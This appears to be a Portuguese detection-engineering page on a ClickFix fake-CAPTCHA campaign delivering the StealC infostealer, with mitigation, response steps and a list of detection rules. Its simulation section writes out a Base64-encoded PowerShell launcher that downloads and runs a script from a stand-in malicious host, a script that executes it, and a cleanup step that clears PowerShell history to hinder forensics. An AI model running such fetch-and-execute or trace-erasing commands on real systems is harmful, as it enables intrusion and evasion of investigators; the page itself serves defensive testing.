Como o ClickFix Abre a Porta para o Furtivo Roubador de Informações StealC
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Uma intrusão em múltiplas fases, sem uso de arquivo, começa em um site de restaurante vietnamita comprometido hospedando um CAPTCHA falso. As vítimas são induzidas a executar um PowerShell que baixa shellcode independente de posição, que carrega reflexivamente um downloader de 64 bits e injeta o ladrão de informações StealC no svchost.exe. O StealC coleta credenciais do navegador, dados de carteiras de criptomoeda, credenciais do Steam e do Outlook, detalhes do host e capturas de tela, então exfiltra via tráfego HTTP criptografado com RC4.
Investigação
Pesquisadores dissecavam o carregador JavaScript e PowerShell, confirmaram o uso da estrutura de shellcode Donut e seguiram as buscas HTTP do downloader para URLs controlados por atacantes. O ladrão parece ser um malware como serviço orientado por construtor, com recursos modulares de roubo, além de uma rotina de autoexclusão. As notas de caça incluem um valor User-Agent de “Loader” e chaves de registro específicas ligadas à preparação e execução.
Mitigação
As defesas recomendadas incluem limitar ou desabilitar colagens de área de transferência em navegadores, apertar políticas de execução do PowerShell e alertar sobre strings User-Agent incomuns. Adicione detecção para carregamento reflexivo de PE e injeção de processos, e aplique inspeção de HTTP de saída para entrega de payload codificado em Base64. A educação do usuário sobre iscas de CAPTCHA falsas deve ser tratada como um controle, não como um pensamento posterior.
Resposta
Se descoberto, isole o endpoint, pare a instância injetada de svchost.exe, capture dumps de memória para revisão do shellcode e bloqueie os domínios/URLs maliciosos. Redefina as credenciais expostas, revise registros e artefatos do navegador para impacto e observe o tráfego residual de C2.
Fluxo do Ataque
Detecções
Possível Uso de PING para Execução Atrasada (via linha de comando)
Visualizar
Download de Arquivo Suspeito por IP Direto (via proxy)
Visualizar
LOLBAS wmic (via linha de comando)
Visualizar
Download ou Upload via PowerShell (via linha de comando)
Visualizar
IOCs (SourceIP) para detectar: Como o ClickFix Abre a Porta para o Ladrão de Informações StealC Discreto
Visualizar
IOCs (HashSha256) para detectar: Como o ClickFix Abre a Porta para o Ladrão de Informações StealC Discreto
Visualizar
IOCs (DestinationIP) para detectar: Como o ClickFix Abre a Porta para o Ladrão de Informações StealC Discreto
Visualizar
Detectar Atividade de Rede do Ladrão de Informações StealC [Conexão de Rede do Windows]
Visualizar
Detectar Injeção de Processo via StealC no svchost.exe [Criação de Processo do Windows]
Visualizar
Comando PowerShell EncodedCommand e iex(irm) Detectado [PowerShell do Windows]
Visualizar
Execução de Simulação
Pré-requisito: A Verificação de Pré-parcela de Telemetria e Ponto de Referência deve ter sido aprovada.
Justificação: Esta seção detalha a execução precisa da técnica adversária (TTP) designada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente as TTPs identificadas e visam gerar exatamente a telemetria esperada pela lógica de detecção.
-
Narrativa de Ataque e Comandos:
Um atacante recebe um e-mail de phishing contendo uma URL curta. O objetivo é instalar um backdoor remoto do PowerShell sem alertar o usuário. O atacante cria um payload PowerShell codificado em Base64 que baixa um script malicioso de um servidor C2 e o executa imediatamente usando
iex(irm…). Usando o switch-EncodedCommand, o atacante esconde os comandos reais de uma inspeção casual, e o padrãoiex(irm…)corresponde diretamente à regra de detecção.-
Crie o script malicioso (
payload.ps1) hospedado emhttp://malicious.example.com/payload.ps1. -
Codifique o comando do launcher:
$launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))" $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher) $encoded = [Convert]::ToBase64String($bytes) Write-Output $encoded # Este valor é usado no próximo passo -
Execute o comando codificado no alvo:
powershell.exe -EncodedCommand <Base64StringFromStep2>
Isso gera um evento Sysmon ProcessCreate onde
CommandLinecontém-EncodedCommandand o texto decodificado incluiiex(irm…), satisfazendo a regra Sigma. -
-
Script de Teste de Regressão:
#----------------------------------------------------------- # Script de Simulação – Dispara PowerShell EncodedCommand + iex(irm) #----------------------------------------------------------- # 1. Defina a URL do script malicioso (substitua pelo seu servidor de teste) $maliciousUrl = "http://malicious.example.com/payload.ps1" # 2. Construa o comando de uma linha que baixa e executa o script $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))" # 3. Codifique o comando em Base64 (Unicode) $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd) $b64 = [Convert]::ToBase64String($bytes) # 4. Inicie o PowerShell com o comando codificado Write-Host "Executando comando codificado..." Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" ` -ArgumentList "-EncodedCommand $b64" ` -NoNewWindow -Wait Write-Host "Simulação concluída." -
Comandos de Limpeza:
# Remova quaisquer arquivos temporários criados pelo payload simulado (se houver) # Exemplo: exclua o script baixado se ele foi salvo localmente $tempPath = "$env:TEMPpayload.ps1" if (Test-Path $tempPath) { Remove-Item $tempPath -Force Write-Host "Payload temporário removido." } # Opcionalmente, limpe o histórico do PowerShell para reduzir rastreamento forense Clear-History